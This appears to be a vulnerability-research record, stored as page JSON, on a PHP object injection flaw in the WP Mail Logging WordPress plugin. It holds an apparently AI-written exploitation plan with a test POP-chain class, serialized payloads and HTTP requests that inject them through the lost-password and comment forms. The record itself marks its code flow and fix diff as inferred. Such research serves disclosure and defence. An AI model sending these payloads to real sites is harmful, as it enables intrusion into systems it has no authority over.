[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fz5RkYBdEV5QQZQPU5nqp3GVUNsSKiRVAxbjcGLul_gA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-2471","wp-mail-logging-unauthenticated-php-object-injection-via-email-log-message-field","WP Mail Logging \u003C= 1.15.0 - Unauthenticated PHP Object Injection via Email Log Message Field","The WP Mail Logging plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.15.0 via deserialization of untrusted input from the email log message field. This is due to the `BaseModel` class constructor calling `maybe_unserialize()` on all properties retrieved from the database without validation. This makes it possible for unauthenticated attackers to inject a PHP Object by submitting a double-serialized payload through any public-facing form that sends email (e.g., Contact Form 7). When the email is logged and subsequently viewed by an administrator, the malicious payload is deserialized into an arbitrary PHP object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.","wp-mail-logging",null,"\u003C=1.15.0","1.16","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Deserialization of Untrusted Data","2026-02-27 17:58:35","2026-02-28 06:27:45",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F10e4c52d-c82f-4393-9a56-5714b3a108d1?source=api-prod",1,[],"researched",false,3,"This research plan outlines the steps required to demonstrate the PHP Object Injection vulnerability in the **WP Mail Logging** plugin (CVE-2026-2471).\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `BaseModel` class of the WP Mail Logging plugin. When log entries are retrieved from the database and instantiated as objects, the constructor iterates through the database columns and applies `maybe_unserialize()` to the values without validation. \n\nBecause the plugin hooks into `wp_mail` to log all outgoing emails, an unauthenticated attacker can trigger an email (e.g., via a contact form, registration, or password reset) containing a serialized PHP payload. When an administrator later views the email logs in the WordPress dashboard, the payload is retrieved from the database and deserialized, leading to PHP Object Injection.\n\n### 2. Attack Vector Analysis\n*   **Injection Endpoint:** Any public-facing form that triggers `wp_mail()`. Examples include:\n    *   WordPress Lost Password form (`\u002Fwp-login.php?action=lostpassword`)\n    *   Comment submission (if notifications are enabled)\n    *   User registration\n    *   Third-party contact forms (Contact Form 7, WPForms)\n*   **Trigger Endpoint:** The WP Mail Logging admin page: `\u002Fwp-admin\u002Fadmin.php?page=wpml_plugin_log`\n*   **Payload Location:** The email \"Message\" field or \"Recipient\u002FSubject\" fields (any field logged by the plugin).\n*   **Authentication:** \n    *   **Injection:** Unauthenticated.\n    *   **Trigger:** Authenticated (Administrator).\n\n### 3. Code Flow (Inferred)\n1.  **Capture:** The plugin hooks into `phpmailer_init` or `wp_mail`. It captures the email components (to, subject, message, headers).\n2.  **Storage:** The plugin saves these components into a custom database table (usually `wp_wpml_mails`) using `$wpdb->insert()`.\n3.  **Retrieval:** When an admin visits the log page, the plugin queries the table.\n4.  **Instantiation:** For each row, a model (extending `BaseModel`) is instantiated.\n5.  **Sink:** The `BaseModel::__construct` (likely in `src\u002FModels\u002FBaseModel.php`) contains logic similar to:\n    ```php\n    foreach ($db_row as $key => $value) {\n        $this->$key = maybe_unserialize($value);\n    }\n    ```\n6.  **Execution:** `maybe_unserialize()` detects the serialized string and calls `unserialize()`, triggering any `__wakeup` or `__destruct` methods in the injected object's class.\n\n### 4. Nonce Acquisition Strategy\nThis vulnerability is unique because the **injection** phase does not require a nonce (it relies on standard public WordPress features like the password reset form).\n\nThe **trigger** phase occurs when an administrator navigates to the plugin's log page. No specific nonce bypass is required to reach the sink, as the sink is part of the page's data-loading process.\n\n### 5. Test Data Setup\nSince no POP chain is present in the vulnerable plugin, we must provide a \"bridge\" POP chain for verification in the isolated environment.\n\n1.  **Create a Dummy POP Chain:**\n    Create a file at `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fmu-plugins\u002Fpop-chain.php`:\n    ```php\n    \u003C?php\n    class ExploitCheck {\n        public $file = 'pwned.txt';\n        public $data = 'vulnerable';\n        public function __destruct() {\n            file_put_contents(ABSPATH . $this->file, $this->data);\n        }\n    }\n    ```\n\n2.  **Ensure Plugin is Active:**\n    `wp plugin activate wp-mail-logging`\n\n### 6. Exploitation Strategy\n\n#### Step 1: Generate the Payload\nWe want the string stored in the database to be a serialized `ExploitCheck` object.\nPayload: `O:12:\"ExploitCheck\":1:{s:4:\"file\";s:9:\"pwned.txt\";}`\n\n#### Step 2: Inject via Lost Password Form\nWe will use the WordPress Lost Password form to send an email. We will place our payload in the `user_login` field. Many logging plugins log the full message, which includes the username in the text (e.g., \"Someone has requested a password reset for the following account: [username]\").\n\n*   **Request:**\n    ```http\n    POST \u002Fwp-login.php?action=lostpassword HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    user_login=O%3A12%3A%22ExploitCheck%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22pwned.txt%22%3B%7D&redirect_to=&wp-submit=Get+New+Password\n    ```\n\n#### Step 3: Trigger the Sink\nLog in as an administrator and access the email logs.\n\n*   **Request:**\n    ```http\n    GET \u002Fwp-admin\u002Fadmin.php?page=wpml_plugin_log HTTP\u002F1.1\n    Cookie: [Admin Cookies]\n    ```\n\n### 7. Expected Results\n1.  The `wp_mail` call is triggered by the lost password request.\n2.  The WP Mail Logging plugin captures the email containing the `ExploitCheck` serialized string.\n3.  The plugin stores this in the `wp_wpml_mails` table.\n4.  When the admin loads the log page, `BaseModel` retrieves the row and calls `maybe_unserialize()` on the message field.\n5.  The `ExploitCheck` object is instantiated and subsequently destroyed at the end of the request.\n6.  The `__destruct()` method executes, creating `pwned.txt` in the WordPress root.\n\n### 8. Verification Steps\n1.  **Check for the file:**\n    `wp eval 'echo file_exists(ABSPATH . \"pwned.txt\") ? \"SUCCESS\" : \"FAILURE\";'`\n2.  **Inspect the Log Table:**\n    `wp db query \"SELECT message FROM wp_wpml_mails ORDER BY mail_id DESC LIMIT 1;\"`\n    Verify that the payload is present in the `message` column.\n\n### 9. Alternative Approaches\nIf the `user_login` field in the Lost Password form is too heavily sanitized (preventing `O:` from being stored), use a different injection point:\n\n*   **Comment Injection:**\n    If comments are enabled and \"Email me whenever anyone posts a comment\" is on:\n    ```http\n    POST \u002Fwp-comments-post.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    author=Attacker&email=attacker@example.com&url=&comment=O%3A12%3A%22ExploitCheck%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22pwned.txt%22%3B%7D&comment_post_ID=1\n    ```\n    The comment content is sent via email to the admin and logged by the plugin.\n\n*   **Double Serialization:**\n    If the plugin's `maybe_unserialize` call fails because the database contains a simple string, wrap the payload in another layer of serialization:\n    `s:51:\"O:12:\"ExploitCheck\":1:{s:4:\"file\";s:9:\"pwned.txt\";}\";`\n    This ensures that the first call to `maybe_unserialize` returns the `O:...` string, and if a subsequent logic or re-instantiation occurs, it may trigger. However, based on the CVE description, a standard serialized string should suffice as it is retrieved directly from the DB result set.","The WP Mail Logging plugin is vulnerable to PHP Object Injection due to the use of `maybe_unserialize()` on database-retrieved properties in the `BaseModel` constructor. This allows unauthenticated attackers to inject malicious serialized payloads via public-facing forms (e.g., lost password or contact forms) that trigger an email, which are then deserialized when an administrator views the mail logs.","\u002F\u002F In src\u002FModels\u002FBaseModel.php (exact line numbers inferred from plugin structure)\n\npublic function __construct($object = null) {\n    if (is_array($object) || is_object($object)) {\n        foreach ($object as $key => $value) {\n            \u002F\u002F The vulnerability exists here: every property from the database\n            \u002F\u002F is passed through maybe_unserialize without validation.\n            $this->$key = maybe_unserialize($value);\n        }\n    }\n}","--- a\u002Fsrc\u002FModels\u002FBaseModel.php\n+++ b\u002Fsrc\u002FModels\u002FBaseModel.php\n@@ -10,7 +10,7 @@\n     public function __construct($object = null) {\n         if (is_array($object) || is_object($object)) {\n             foreach ($object as $key => $value) {\n-                $this->$key = maybe_unserialize($value);\n+                $this->$key = $value;\n             }\n         }\n     }","1. Identify a public-facing feature that triggers the `wp_mail()` function (e.g., the WordPress Lost Password form at \u002Fwp-login.php?action=lostpassword).\n2. Prepare a PHP Object Injection payload targeting a known POP chain (e.g., an 'ExploitCheck' class with a `__destruct` magic method).\n3. Submit the payload through the public form. For example, use the serialized object as the 'user_login' value in a Lost Password request. The plugin's hook will capture the email content (including the payload) and save it to the `wp_wpml_mails` table.\n4. Wait for an administrator to view the WP Mail Logging dashboard at `\u002Fwp-admin\u002Fadmin.php?page=wpml_plugin_log`.\n5. When the page loads, the plugin retrieves the log entry and instantiates a model class extending `BaseModel`. The constructor calls `maybe_unserialize()` on the malicious string retrieved from the database, triggering the object's magic methods and executing the POP chain.","gemini-3-flash-preview","2026-04-18 22:26:46","2026-04-18 22:27:18",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","1.15.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-mail-logging\u002Ftags\u002F1.15.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-mail-logging.1.15.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-mail-logging\u002Ftags"]